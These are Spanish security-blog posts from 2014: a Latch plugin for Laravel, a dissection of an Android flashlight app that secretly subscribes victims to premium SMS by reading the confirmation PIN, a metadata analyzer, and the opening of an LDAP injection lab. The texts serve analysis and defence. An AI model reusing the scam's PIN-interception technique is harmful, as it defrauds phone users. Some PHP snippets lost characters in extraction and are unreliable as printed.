sábado, 30 de agosto de 2014

Así es como se ve el mundo cuando se hace ping a todo Internet

Todos sabemos que Internet es una vasta red de ordenadores y dispositivos interconectados pero, ¿dónde residen todos esos elementos?
John Matherly, fundador de Shodan, literalmente hizo ping a todos los dispositivos en Internet y el resultado es el siguiente mapa:


https://twitter.com/achillean/status/505049645245288448

Como se puede ver, la mayoría de los dispositivos se concentran en los países desarrollados y áreas metropolitanas. 


Buen fin de semana :)


viernes, 29 de agosto de 2014

Integración paso a paso de Latch en Laravel Framework, el entorno de desarrollo PHP para los artesanos de la web

Laravel, es un entorno de desarrollo de PHP en pleno auge. Destaca por su sencillez sin perder la potencia y funcionalidades de un buen framework. Además su curva de aprendizaje es muy asequible. Permite que los desarrolladores que comienza con él y sin demasiada experiencia en PHP, puedan aprenderlo muy fácilmente, y también que los que tengan más experiencia lo expriman de un modo avanzado. Para poder trabajar con Latch en él, he hecho una integración al igual que ya se hizo una de Latch para Django, así que en este artículo vamos a ver cómo integrar Latch en tu framework deLaravel.


Figura 1: Laravel, entorno de desarrollo de aplicaciones PHP

Instalación del paquete

Se debe usar un gestor de paquetes llamado Composer para instalar el paquete de "Latch para Laravel" disponible en su GitHub. El archivo composer.json (viene incluido en Laravel) permite definir qué paquetes de PHP se usarán en nuestro proyecto, así que se debe añadir la siguiente línea a este fichero en su require:
"faytzel/laravel-latch": "0.*"
Después se debe ejecutar en línea de comandos y a nivel de la raíz del proyectocomposer update o composer.phar update (si es la primera vez que se ejecuta composer en nuestro proyecto se debe utilizar composer install o php composer.phar install) según el modo en que se instale composer en el sistema.
Una vez finalizado lo anterior se debe añadir app/config/app.php en la zona de los providers:
'Faytzel\LaravelLatch\LaravelLatchServiceProvider'
y en la zona de facades:
'Latch' => 'Faytzel\LaravelLatch\Facades\LaravelLatch',
Y por último ejecutar en en la raíz del proyecto php artisan config:publish faytzel/laravel-latch para añadir la configuración del paquete a app/config/packages/faytzel/laravel-latch.

Configuración del paquete 

Si no se dispone ya de ella, es necesario crear una cuenta como desarrollador de Latch, igual que para poner Latch en WordPress o Latch en Windows. A partir de ahí, se debe crear una aplicación. Su nombre será el que le aparezca al usuario en la app de Latch en el smartphone. El ID de aplicación y el secreto serán necesarios durante la configuración de Laravel. Con esta información, ya solo falta empezar a escribir código.

Parear una cuenta de Latch 

El método de PHP que realiza el pareado se llama Latch::pair() y permite parear al usuario de la web de Laravel con su cuenta de Latch. Esto ser realiza a través de un formulario e introduciendo el código de pareado que proporciona al usuario la aplicación de Latch en la app del móvil.
Ahora es necesario crear un controlador llamado LatchController que dispone de un método que servirá para parear la cuenta de un usuario de la web a la cuenta de Latchde su smartphone. Y para eso se utilizará Latch::pair(). Esto devolverá el identificador de Latch del usuario que se acaba de parear para poder administrar este pareado cuando sea necesario.

Figura 2: Latch para Laravel. Código de pareado.

Un detalle interesante es que es posible almacenar cifrado en la base de datos el identificador del usuario que devuelve la API de Latch. Así, por defecto Latch::pair()devuelve el identificador ya cifrado, aunque esto puede desactivarse (el segundo parámetro del método permite activarlo o desactivarlo).

Por otro lado, podría darse el caso, por ejemplo de que un usuario introduzca su código de pareado cuando éste ya ha expirado (a los 60 segundos los códigos de pareados expiran por motivos de seguridad). Ante estos casos el método Latch::pair()indicará que no se pudo parear. Latch::error() es un método que devuelve el mensaje de error que ha ocurrido (actualmente soporta inglés y español), o el código, si usamosLatch::errorCode() para tomar acciones determinadas según cada código de error. Al final el código quedaría algo similar e esto:
php Class LatchController extends BaseController { public function pair() { // Comprobamos que venga el token desde el formulario if (Input::has('token')) { // Obtenemos el código de pareado del usuario $token = Input::token('token'); // Intenta parear Latch con el código (token) if ($accountId = Latch::pair($token)) { // Si consigue parear guardamos el identificador del usuario (cifrado) de Latch en nuestra base de datos } // Si ocurre algún error, mostramos al usuario un mensaje de error de una forma amigable else { echo Latch::error(); } } } }
Bloquear el acceso de login a cuentas de Latch bloqueadas 

El siguiente paso tras la gestión del pareo, es bloquear el acceso de usuarios (en el formulario de login/autenticacion) que mantegan sus cuentas de Latch bloqueadas. Este es el código que debe introducirse en el controlador de login del proyecto que se esté desarrollando:
php class LoginController extends BaseController { public function login() { // Datos del formulario enviados por el usuario $input = Input::all(); // Reglas de validacion $rules = array( 'email' => 'required|email', 'password' => 'required' ); // validamos los datos del formulario de login $validator = Validator::make($input, $rules); if ($validator->passes()) { // Credenciales para el inicio de sesion del usuario $credentials = array('email' => $input['email'], 'password' => $input['password']); // Establece si tenemos acceso para acceder a nuestra cuenta de usuario $locked = true; // Comprobamos si el usuario es valido pero sin loguearlo if (Auth::validate($credentials)) { // Obtenemos el identificador del usuario de Latch de nuestra base de datos (con sql) $user = User::where('email', '=', $input['email'])->first(); $accountId = $user->latch_account_id; // Comprueba si Latch nos da acceso if (Latch::unlocked($accountId)) { $locked = false; } } // Si la cuenta del usuario no esta bloqueada if ( ! $locked) { // Autentica al usuario if (Auth::attempt($credentials)) { // } } } } }

Latch::unlocked() indicará si el usuario no ha bloqueado nuestra aplicación desde susmartphone con Latch, y Latch::locked() haría justo lo contrario aunque no será necesario usarlo en esta ocasión. Como se ha mencionado anteriormente, el identificador se almacena cifrado en la cuenta. Latch::unlocked() hará todo el trabajo de forma transparente, por lo que no hay que preocuparse.

Desparear una cuenta de Latch 

Ya solo falta poder desparear la cuenta de Latch del usuario de nuestra aplicación. Es simple:
php class LatchController extends BaseController { public function pair() { // codigo ... } public function unpair() { // Obtenemos el identificador del usuario de Latch de nuestra base de datos $accountId = Auth::user()->latch_account_id; // Despareamos al usuario de Latch if (Latch::unpair($accountId)) { // Eliminamos el identificador del usuario de Latch de nuestra base de datos } // Si hay algun error, se lo mostramos al usuario else { echo Latch::error(); } } }
Igual que con los otros métodos, por defecto Latch::unpair() descifra internamente el identificador.
Autor: José María Gómez


martes, 26 de agosto de 2014

La estafa de la linterna molona que ilumina más en Android

Somos un par de programadores de apps para móviles a los que nos gusta venir a leer los artículos y nos hemos decidido hoy a contarles esta historia en la que se puede ver que un cibercriminal, se ha montado un chiringuito con las apps deAndroid para hacer fraude online y comprarse un chalet un en la playa o donde quiera, por si alguno de ustedes puede avisar a amigos y compañeros de que eviten este problema o por si estas puesto con este tipo de malware y les apetece investigar un poco más.

Parte 1: Del gancho en Facebook al SMS de pago por Vodafone

Hace poco mi colega vio un anuncio a través de Facebook en el que un amigo suyo había publicado un post sobre una app para Android que supuestamente ofrecía una linterna para el móvil que "...hace brillar el led mas que ninguna otra app de linternas y totalmente gratuita...".

Ni corto ni perezoso mi compañero se la descargó con intención de decompilar el código y así aprender cómo demonios hacía eso de hacer brillar más el led. ¿Sería algún parámetro trucado en alguna función de la API? ¿Sería alguna función oculta? Había que resolver el misterio y por el camino llegó la sorpresa, que mató al gato por su curiosidad.


Figura 1: Linterna Led a.k.a "Linterna Molona" en Google Play

Al descargarse la app no había supuestamente ningún servicio que pudiera acarrear coste alguno. Según la lista de información que acompañaba a la app, ésta podía leer mensajes y conectarse a Internet pero para nada decía que pudiera enviar mensajes de ningún tipo - con o sin coste - o hacer llamadas, por lo que continuó con la descarga. Sin embargo, nada más ejecutarse, esta app lee tu número de teléfono, se conecta a Internet y da de alta el número de teléfono de la víctima en una página de servicios ofrecidos vía mensajes SMS. Rápida y mortal.

En este caso en concreto, nada más instalarte la app y que te de alta en un servicio de mensajes SMS de pago, Vodafone manda de forma instantánea un mensaje con un PIN al dueño del número de teléfono para que autorice el alta en este servicio. Este mensaje que se recibe no tiene coste, es solo una medida de seguridad que en este caso Vodafone implementa para evitar la suscripción automática de personas a los servicios de pago, aunque como veremos más adelante no son tan seguros los métodos empleados para el registro.

Lo que sucede es que la aplicación en tu Android está esperando ese mensaje SMS que llega desde Vodafone para leerlo - ya que tiene permiso para hacerlo -, extraer el PIN de seguridad del mensaje y autorizarse ella solita en la misma página Web de los servicios de pago para confirmar la suscripción.

La lectura de estos mensajes SMS desde una app es algo que se puede hacer desde código y que se explica en el libro de Desarrollo de Android Seguro, ya que es muy utilizado por el malware en el mundo de Android. En el caso del troyano para espiar Android es lo que se utiliza para controlar remotamente al bot de espionaje instalado.

Por supuesto, una vez que has confirmado la suscripción - Vodafone supone que has sido tú y no una app maliciosa en tu terminal móvil por su cuenta - se ha autorizado al proveedor de servicios a enviar mensajes SMS con coste, que te serán cargados en la factura.

No contento con eso, para conseguir la viralización del negocio, si tienes instalada la app de Facebook en tu terminal Android, la linterna molona publica en tu nombre un post contando las virtudes de la famosa linterna para que tus amigos la prueben también a ver cómo diablos se consigue tener una linterna que ilumina tanto.

Parte 2: ¿Pero esto qué es?

Cabreado como una mona - pues a ningún profesional en el tema le gusta que "se la metan" y si no que se lo digan a  Eagle cuando le enchufaron desde Cydia la app que hacía click-frauden su iPhone - mi compañero averiguo esto a posteriori no sin antes restringir rápidamente el servicio en Vodafone, para a continuación decompilar la app y destripar cómo funcionaba el tinglado.

Para destripar un poco el funcionamiento procedimos a descompilar la aplicación usando dex2jar para obtener el código fuente mas o menos legible, y digo mas o menos porque estaba ofuscado utilizando Proguard. Usamos también el explorador de ficheros JAR llamado JD-GUI para Windows para abrir el JAR decompilado y APKToolpara extraer los recursos de la aplicación, es decir imágenes, documentos XML y demás recursos embebidos.

El identificador único de la aplicación para Android es com.linterna.molona. La verdad es que con ese nombre no prometía mucho, pero luego hay que reconocer que se han trabajado el sistema hacer el registro automatizado y la viralización de la estafa. La aplicación fue retirada de Google Play a los pocos días pero aun existe en algunas páginas en la caché de Google en la que se puede ver - y con muy buena valoración de la misma -.-!


Figura 2: Valoraciones y descargas tal y como se ve en la caché de Google

La app ha sido retirada por Google, en los foros tenía quejas de usuarios, pero después de superar más de 10.000 descargas, ya que el ratio en Google Play está entre 10.000 y 50.000 instalaciones desde el 23 de Diciembre del año pasado, lo que es una pasada.

En otros foros como AppsZoom aparece aún disponible y en ellas hay ya más de 100.000 descargas y muchas quejas de víctimas. Con la friolera de 100.000 a 500.000 descargas, multiplicadas cada una por 1.5 € en el mejor de los casos…hace cuentas.


Figura 3: Linterna LED en AppsZoom aún disponible

Desde luego, viendo esto la credibilidad de sitios como AppsZoom que siguen distribuyendo esta app y creando más y más víctimas de esta estafa. Lo único bueno que tiene esto es que si te gusta la seguridad y quieres analizar bien la estafa, tienes fácil localizar el malware. Está a la vista de todos, ahí, en sitios que se presentan como índices de apps para terminales móviles.

En el sitio se puede ver que el supuesto desarrollador parece ser un tal Rylan Roachpero es fácil suponer que será un nombre falso. Si el tipo éste se pilla un LiveCD con una distribución de TOR, se da de alta en Google Play con una cuenta en las Islas Caimán para cargar los 20 USD y a ver quién lo encuentra ahora. A Google Play, por desgracia, puede subir una aplicación hasta el gato de tu prima y como hemos visto, con la desfachatez de decir que eres Apple o si lo prefieres que eres WhatsApp y nada más pasa.

Tras escarbar un poco en Internet es fácil encontrar que en el foro de usuarios deVodafone había quejas de gente a la que le habían estafado hasta 30 € y la aplicación tenia más de 100.000 descargas. Vamos que se están forrando.

Por supuesto se ha puesto una denuncia y la Guardia Civil y su Grupo de Delitos Informáticos se ha puesto en contacto para obtener el código fuente e incluso se han interesado en verse en persona para que se explique en detalle todo lo que se ha descubierto: URLs, empresas implicadas - la Web de servicios de esta estafa es malagueña, etcétera. Como apunte decir que la web que ofrece esos servicios premium:

- No va con protocolo https
- Los parámetros van por GET en la URL
- No dispone de captchas para impedir el registro automátizado por parte de malware
Parte 3: ¿Pero cómo es esto posible?

Analizando la app, se puede ver que tiene los siguientes permisos, y aunque si bien es cierto no requiere enviar ningún mensaje SMS, sí que puede recibirlos y aprovecharse de la forma de darse de alta en la web de servicios de coste a los SMS.

<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
NO TIENE PERMISO:
<uses-permission android:name="android.permission.SEND_SMS" />
Se puede observar que según Android el llamar por teléfono o enviar mensajes SMSpuede comportar costes adicionales, evidente. Pero leer mensajes SMS NO comporta gastos adicionales, algo que como vemos es un error, ya que una app capaz de leer un mensaje SMS puede comportar gastos adicionales,en tanto en cuanto puede leer un PINde alta de confirmación de Premiun o cosas peores.

Figura 4: Los permisos de la app que pueden y "que no" pueden acarrear costes

Otra curiosidad es que el funcionamiento habitual de Alta Premium según Vodafone es el siguiente:

El alta en los servicios Premium es siempre voluntaria. 
Para Mensajes Premium tú envías un SMS de manera voluntaria a un número corto y siempre recibirás un SMS donde se te informará del precio del servicio. En el caso de las numeraciones de mayor tarificación serás informado del precio y deberás confirmar la compra a través del envío de un nuevo SMS. 
Para darte de alta en una Alerta Premium puedes hacerlo desde el teléfono mediante el envío voluntario de un SMS a un número corto de cinco o seis dígitos con la palabra ALTA, lo que supondrá el alta en un servicio de suscripción de SMS Premium. 
Recibirás un SMS donde se te pedirá que confirmes que deseas realizar la suscripción. En el caso de que confirmes, recibirás periódicamente mensajes SMS con coste. En caso de que no confirmes, no se realizará la suscripción. 
También puedes darte de alta a través de una página web en la que introduces tu número de móvil y posteriormente recibes un SMS para aceptar la suscripción con un código de acceso. Si aceptas las condiciones te darán de alta en el servicio de suscripción SMS Premium, y recibirás periódicamente las alertas con coste. 
En ocasiones los proveedores también mandan publicidad vía correo electrónico para que te des de alta en nuevas alertas. 
By Vodafone…..
Este procedimiento de “Alta Web” es totalmente inseguro, una aplicación deAndroid puede suplantar todas estas acciones de manera fácil con permiso de Leer SMS (que no comporta gasto). Esto se puede solucionar obligando a que se envíe el típico mensaje de “ALTA 123345 CODIGO” deba ser enviado con un SMS algo que los usuarios tienen más interiorizado y saben que conlleva riesgos si se da este permiso a una app. El sistema Alta Web es inseguro e innecesario. Esto unido a que por defecto en Vodafone los servicios Premium están activados cierra el circulo de la estafa.

Para conseguir el número de tu teléfono utiliza una serie de trucos, alguno digno de un troyano que quiera espiar WhatsApp, ya que accede al número de teléfono que tienes configurado en él para registrarte en la web. Esta es una parte del código ofuscado de la app.
Account[] arrayOfAccount = AccountManager.get(this.e).getAccounts();
.......
for (int j = 0;; j++)
{
.....
if (!localAccount.type.equals("com.whatsapp")) {
break label333;
}
this.f = 'W';
Además, para hacer uso de este último sistema de Alta Web con tu "consentimiento", al entrar en la aplicación aparece un mensaje para aceptar las condiciones de uso.

Figura 5: Consentimiento para estafarte pedido por la linterna molona

Afinando la vista se puede ver que la aplicación incluso avisa de que “Pulsando ACEPTAR enviaras el PIN para proceder al ALTA……” Todo ello en letra pequeña y con un contraste mínimo. ¿No lo has visto en la pantalla anterior? Aquí tienes un zoompara que te fijes lo asequible que está.


Figura 6: El consentimiento con el zoom. Haz clic si necesitas más zoom aún.

Y pulsando en el enlace “Términos y Condiciones” remite a la siguiente URL donde se te avisa del palo que te van a dar como des en Aceptar.


Figura 7: Las condiciones de la estafa que te van a calzar

La app además va cambiando de proveedores de Servicios Premium y repartiendo las suscripciones a diestro y siniestro en múltiples sitios, con lo que hace más difícil el luchar contra una estafa tan capilarizada.

Parte 4: Y esto es todo amigos

Para más INRI te suscriben a este tipo de servicios que seguro que para muchos de vosotros, como para mí, es absurdo hasta suponer que alguien se pueda creer - y menos un juez - que estos son contenidos por los que a día de hoy se pagaría masivamente.


Figura 8: El servicio por el que seguro que tú pagarías 36 € al mes

Visto todo esto, y por concluir, podemos decir que un cibercriminal con conocimientos de programación de apps de los que se pueden obtener en un buen curso de desarrollo de apps para terminales móviles o con la lectura del pack BYOD, un poco de mala uva y visión de "negocio", sumados a un sito Web de servicios que ofrece un sistema de registro totalmente inseguro - no sé si intencionadamente o por falta de profesionalidad de los programadores de la misma -, más el control poco exhaustivo de las aplicaciones por parte de Google Play del que tantas y tantas veces se ha quejado todo el mundo, ha propiciado esta estafa.

Seguro que visto el éxito, este negocio se estará dando en más países y que seguramente va a acabar con el cierre de la Web - veremos si además con un multazo por incumplir alguna ley -, y con el cibercriminal con un chalet en la playa, que a ver quién es el guapo que le echa el guante.

Actualización: Como se han detectado más apps maliciosas haciendo uso de este mismo esquema se ha subido esta app a Google Play que comprueba que apps por sus permisos podrían realizar esta estafa, para que tengas cuidado.


Figura 9: app para  Stop SMS Scam

Autores:
José C. Agudo & Miguel Ángel Cardenete



sábado, 23 de agosto de 2014

Analizar Metadatos Online con MetaShield Analyzer

Hace ya mucho tiempo que pusieron online un servicio para analizar online los metadatos de los documentos ofimáticos y fotografías, la famosa FOCA Online. Ha estado funcionando durante años y han sido cantidades enormes de documentos los que han pasado por allí para ser analizados y ver qué metadatos ofrecían. Ahora desde Eleven Paths llegó el momento de evolucionarlo con un nuevo motor, un nuevo interfaz y un nuevo nombre dentro de la familia MetaShield Protector de productos para evitar fugas de información con metadatos: El nombre que le hemos dado esMetaShiled Analyzer.

Figura 1: MetaShield Analyzer

El funcionamiento es muy sencillo, basta con ir a la web de MetaShield Analyzer, seleccionar de tu equipo el documento que quieres analizar, y ver los resultados que se obtienen. Los tipos de documentos que se pueden analizar son.
- Microsoft Word Binario: DOC
- Microsoft Excel Binario: XLS
- Microsoft Power Point Binario: PPT y PPS
- Portable Document Formart: PDF
- Microsoft Word OOXML: DOCX
- Microsoft Excel OOXML: XLSX
- Microsoft Power Point OOXML: PPTX y PPSX
- Open Document Text: ODT
- Open Document Spreadsheet: ODS
- Open Document Presentation: ODP
- Open Document Graphic: ODG
- Open Office Binario: SXW
- Fotografías: JPG
Recuerda que estas extensiones hacen referencia al tipo de documento, y puede que haya otras extensiones que funcionen con el mismo motor. Por ejemplo, los archivos perdidos de Microsoft Office tienen extensiones como TMP, XAR, WBK y ASD - por citar algunas - que también pueden ser analizadas, por lo que bastaría con que eligieras la extensión adecuada manualmente.
- TMP: Documento de Microsoft Power Point temporal en formato PPT.
- XAR: Documento de Microsoft Excel temporal en formato XLS.
- ASD: Documento de Microsoft Word temporal en formato DOC.
- WBK: Documento de Microsoft Word temporal en formato DOC.
Lo mismo sucede con los otros formatos de documento que usan las herramientas. En el caso de Microsoft Excel se puede utilizar el motor de análisis de metadatos de XLS o XLSX para extraer información de otros formatos Excel, así que con que le cambies la extensión funcionará.
- XLA: Sin metadatos, es código VBA.
- XLB: Sin metadatos, es un archivo de código binario.
- XLC: Codificación binaria. Mismos metadatos que un XLS.
- XLD: Formato XML sin metadatos.
- XLK: Formato binario. Mismos metadatos que un XLS.
- XLL: Formato binario. Mismos metadatos que un XLS.
- XLM: Codificación OOXML. Mismos metadatos que un XLSX.
- XLSB: Formato binario. Mismos metadatos que XLS.
- XLSHTML: Codificación HTML.
- XLSM: Codificación OOXML. Mismos metadatos que XMLX.
- XLT: Codificación binaria. Mismos metadatos que XLS.
- XLV: Codificación binaria. Mismos metadatos que XLS.
- XLW: Codificación binario. Mismos metadatos que XLS.
La FOCA Online ha muerto, pero ha nacido MetaShield Analyzer que además va a tener un ciclo de actualizaciones y nuevas características más continuas, así que como homenaje, qué mejor que analizar el famoso documento de Tony Blair.

Figura 2: Análisis de Blair.doc con MetaShield Analyzer

Las fugas de datos en metadatos han dado mucho juego, y seguro que seguirán dándolo. En el artículo de Análisis Forense de Metadatos se ha recogido ya más de 30 casos distintos en los que fueron importantes. Si tienes sugerencias, ideas, errores o cualquier comentario que creas que puede aportar a mejorar MetaShield Analyzer, no dudes en ponerte en contacto con nosotros o en www.elladodelmal.com y enviar tu sugerencia.


martes, 19 de agosto de 2014

Inyecciones LDAP



[----Indice de Contenidos-----]
0x01 Introducción
0x02 Laboratorio
    ./0x01 OpenLDAP
    ./0x02 Servidor Web
    ./0x03 Test
0x03 Funciones básicas en PHP
0x04 Filtros de búsquedas
0x05 Bypassing Logins
     ./0x01 Sin filtrar asteriscos
     ./0x02 Filtrando asteriscos
0x06 Extracción de información
0x07 Blind LDAP Injection


[--------------Eof----------]



0x01 Introducción


   Lo primero que quiero aclarar en esta introducción es que no voy a extenderme en cómo funciona LDAP, ni en los estándares en que basa su estructura. Con ello quiero decir que es más que recomendable que amplíes información, puesto que este manual se va a centrar en las vulnerabilidad y en la defensa. Una vez dejado claro esto, paso a copipastear la definición de wikipedia:


Cita de: Wikipedia
LDAP son las siglas de Lightweight Directory Access Protocol (en español Protocolo Ligero de Acceso a Directorios) que hacen referencia a un protocolo a nivel de aplicación el cual permite el acceso a un servicio de directorio ordenado y distribuido para buscar diversa información en un entorno de red. LDAP también es considerado una base de datos (aunque su sistema de almacenamiento puede ser diferente) a la que pueden realizarse consultas.

Un directorio es un conjunto de objetos con atributos organizados en una manera lógica y jerárquica. El ejemplo más común es el directorio telefónico, que consiste en una serie de nombres (personas u organizaciones) que están ordenados alfabéticamente, con cada nombre teniendo una dirección y un número de teléfono adjuntos.

Un árbol de directorio LDAP a veces refleja varios límites políticos, geográficos u organizacionales, dependiendo del modelo elegido. Los despliegues actuales de LDAP tienden a usar nombres de Sistema de Nombres de Dominio (DNS por sus siglas en inglés) para estructurar los niveles más altos de la jerarquía. Conforme se desciende en el directorio pueden aparecer entradas que representan personas, unidades organizacionales, impresoras, documentos, grupos de personas o cualquier cosa que representa una entrada dada en el árbol (o múltiples entradas).

Habitualmente, almacena la información de autenticación (usuario y contraseña) y es utilizado para autenticarse aunque es posible almacenar otra información (datos de contacto del usuario, ubicación de diversos recursos de la red, permisos, certificados, etc). A manera de síntesis, LDAP es un protocolo de acceso unificado a un conjunto de información sobre una red.

La versión actual es LDAPv3, la cual es especificada en una serie de Internet Engineering Task Force (IETF) Standard Track Request for Comments (RFCs) como se detalla en el documento RFC 4510.

   En resumidas cuentas podemos decir que se trata de un protocolo que permite acceder a un servicio de directorios donde se almacena la información, para ser usada posteriormente, dentro de la red de una corporación. Podemos imaginar que es como una llave a las páginas amarillas: dependiendo de cómo esté constituido el árbol LDAP podríamos encontrar desde nombres, correos, direcciones, nombres de usuarios, puesto de trabajo, ordenador asignado, etc. es decir un conjunto de información muy interesante para un posible atacante. Por otro lado, LDAP tiene otra vertiente muy importante desde el punto de vista de la seguridad porque en algunas ocasiones es utilizada a modo de base de datos, llegando en algunos casos a usarse como método de autenticación.

  Los ataques utilizados hasta ahora contra LDAP son muy diferentes, siendo los más populares las conexiones anónimas a los directorios para recoger información (véase el caso de la NASA) y las inyecciones a través de aplicaciones web´s. Este segundo tipo de ataque (existen muchos más, pero he comentado los más habituales) será sobre el que centraremos este taller.

  El formato típico con el que vamos a trabajar es LDIF. En este formato las entradas estarán constituidas en su inicio por el dn (distingused name) que está compuesto por el nombre de la entrada (CN) y por los árboles padre (DC). Posteriormente se colocan los atributos que serán quienes contengan los campos con información. Un ejemplo de entrada podría ser:  (Nota sería muy interesante que amplies toda esta información porque esto sólo ha sido una pincelada).

Código: (LDAP) [Seleccionar]
dn: cn=Testcell,dc=pruebas,dc=com
cn: Testcell
givenName: X-C3LL
sn: Celula
telephoneNumber: 696969696
telephoneNumber: 7878787878
mail: x-cell@portaljuanker.info
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top

  Se puede observar al inicio como el nombre de la entrada es "Testcell", y que los árboles padre son pruebas y com, por lo que la estructura sería similar a :


WORLD
   |
   |_ com                                           DIRECTORIOS (ARBOLES)
          |_pruebas                                          ENTRADAS
                   |_Testcell



0x02 Laboratorio

  A continuación procederé a explicar cómo montaremos nuestro laboratorio. En este caso no vamos a complicarnos mucho y vamos a usar OpenLDAP para el servidor LDAP y para correr las aplicaciones web usaremos EasyPHP (Apache) a fin de que los que quieran empezar lo puedan hacer rápido y no tengan que configurar todo el servidor desde 0 (que sería lo recomendable). Si estais trabajando bajo Linux, OpenLDAP también podeis usarlo, y si teneis instalado Apache fijaros de que al compilar PHP le habeis introducido las .dll necesarias para poder usar las funciones de LDAP. 

./0x01 OpenLDAP

  Como he dicho hace apenas unas líneas arriba vamos a emplear OpenLDAP para nuestro servidor, por lo que procederemos a su descarga desde el sitio oficial: http://www.openldap.org/software/download/ . En la instalación nos pedirá que seleccionemos el tipo de backend, debes de seleccionar LDIF. Por lo demás creo que no debería de haber ninguna duda con respecto a la instalación (como password usad la default, "secret").

  Una vez que hayamos finalizado correctamente la instalación procederemos a modificar el archivo slapd.conf. Para que no haya ningún problema a la hora de ejecutar las prácticas del taller necesitaremos que todos tengamos la misma configuración, por lo que tienes que cambiar vuestros valores a:

Citar
suffix      "dc=pruebas,dc=com"
rootdn      "cn=Manager,dc=pruebas,dc=com"

  Una vez hecho esto procederemos a la instalación del servidor web.


./0x02 Servidor Web

  Procedemos a descargar EasyPHP desde la web oficial ( http://www.easyphp.org/download.php ) e instalarlo (no tiene ningún misterio). Ahora bien, por defecto PHP no tiene habilitadas las funciones LDAP, asi que tendremos que activarlas de forma manual. Buscar el archivo php.ini dentro de la carpeta PHP y descomentar (quitar el ";") la línea extension=php_ldap.dll, repite esta operación en el archivo php.ini que encontrarás en la carpeta de Apache.

  Una vez modificado php.ini tendremos que mover las .dll ssealy32.dlllibsasl.dll y libeay32.dll a la carpeta bin de Apache. Si una vez que usemos funciones LDAP desde PHP nos suelta un erorr indicando que no encuentra la funcion, copiaremos esas dos dlls a la carpeta system32.

./0x03 Test

   A continuación pondremos en marcha OpenLDAP ejecuntando el archivo run.bat que se encuentra en la carpeta run, dentro de la carpeta donde se instaló el programa, y pondremos en marcha el servidor Apache desde el panel de control de EasyPHP. Ahora colocad un archivo index.php dentro de la carpeta www de EasyPHP que contega el siguiente código:


Código: (PHP) [Seleccionar]
<?phpecho "<h1>Test de funcionamiento</h1><p>";$ds ldap_connect("127.0.0.1");?>
   Acceded a él vía navegador (http://127.0.0.1/ ).Si ha habido algún problema nos aparecerá un mensaje tipo "Can't find... bla bla... LDAP_CONNECT". De ser así revisa todos los pasos, y si has seguido todo al pie de la letra y sigue sin funcar, postealo para intentar echarte una mano. Si te ha ido bien, continúa leyendo.

0x03 Funciones básicas en PHP

     El objetivo de este primer ejercicio es conocer las funciones básicas que usaremos para interaccionar desde la aplicación web con el servidor LDAP.  Para ello añadiremos nuestras primeras entradas al servidor, a través de un fichero .ldif. Creamos con el bloc de notas un fichero que llamaremos pruebas.ldif y lo guardamos en la misma carpeta de OpenLDAP. El contenido del fichero es el siguiente:

Citar
dn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Test123
dc: pruebas

dn: cn=TestSeta,dc=pruebas,dc=com
cn: TestSeta
givenName: Seth
sn: Gay
telephoneNumber: 7777777
telephoneNumber: 76767676767676
mail: seth@portaljuanker.info
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top

dn: cn=TestDark,dc=pruebas,dc=com
cn: TestDark
givenName: DarkGatox
sn: Gato
telephoneNumber:56565656565
telephoneNumber: 1234567
mail: Darkgatox@portaljuanker.info
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top

dn: cn=Testcell,dc=pruebas,dc=com
cn: Testcell
givenName: X-C3LL
sn: Celula
telephoneNumber: 696969696
telephoneNumber: 7878787878
mail: x-cell@portaljuanker.info
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top

 Abrimos el cmd y nos situamos en la carpeta donde se cuentra el archivo que hemos creado. A continuación ejecutamos slapdadd.exe con el siguiente arguemento para añadir las entradas al servidor:

Citar
slapadd -l pruebas.ldif


     Si ya has leído más sobre LDAP, y LDIF, (y si no lo has hecho, ¿Que caraxos esperas?) sabrás que se ha creado un directorio tal que así:


WORLD
       |
       |_com                                          DIRECTORIOS(ÁRBOLES)
             |_pruebas                                       
                     |_Testcell
                     |_TestDark                                        ENTRADAS
                     |_TestSeta


   Habiendo creado ya las entradas, procederemos a trabajar con ellas a través de PHP. La operacion más básica e indispensable es la de conexión al servidor que se realiza a través de la función ldap_connect(), cuyo argumento es la dirección IP o el nombre del dominio donde se encuentra el servidor. En nuestro caso como las pruebas son en local sería 127.0.0.1 o localhost. Lo segundo que debemos de hacer es autenticarnos en el servidor usando la función ldap_bind(), a la que hay que pasarle como argumentos la conexión (que tendremos guardada en una variable), el nombre de usuario (en nuestro caso cn=Manager,dc=pruebas,dc=com) y la contraseña (secret). En el caso de querer conectarnos como usuario anónimo,  (en caso de que el servidor esté configurado para admitir este tipo de conexiones) únicamente podremos leer las entradas y no modificarlas. Para conectar de esta forma deberemos de pasarle a la función ldap_bind() la conexión que abrimos anteriormente.

     Un consejo para evitar conflictos con los protocolos empleados es la de definir la versión que vamos a utilizar, a través deldap_set_option(). Un ejemplo sencillo para que practiques con estas 3 funciones es el siguiente:


Código: (PHP) [Seleccionar]
<?phpecho "<h1>Ejercicio nº1</h1><pre>";
//Seteamos las variables "usuario" y "password" para facilitar su trabajo$usuario "cn=Manager,dc=pruebas,dc=com";$pass "secret";
//Conectamos con el servidor e indicamos la versión que emplearemos en la comunicación$ds ldap_connect("127.0.0.1");ldap_set_option($dsLDAP_OPT_PROTOCOL_VERSION3);
//Si se establece la conexión procederemos a autenticarnosif ($ds){

           
$a=ldap_bind($ds$usuario$pass);
           if(
$a){//En caso afirmativo aparecerá un mensaje verde....
                    
echo '<font color="green">Autenticación con éxito</font>';

} else {
//... y si no ha funcado en rojo.
                     
echo '<font color="red">Autenticación fallida</font>';

}
//Cerramos la conexiónldap_close($ds);
}
?>

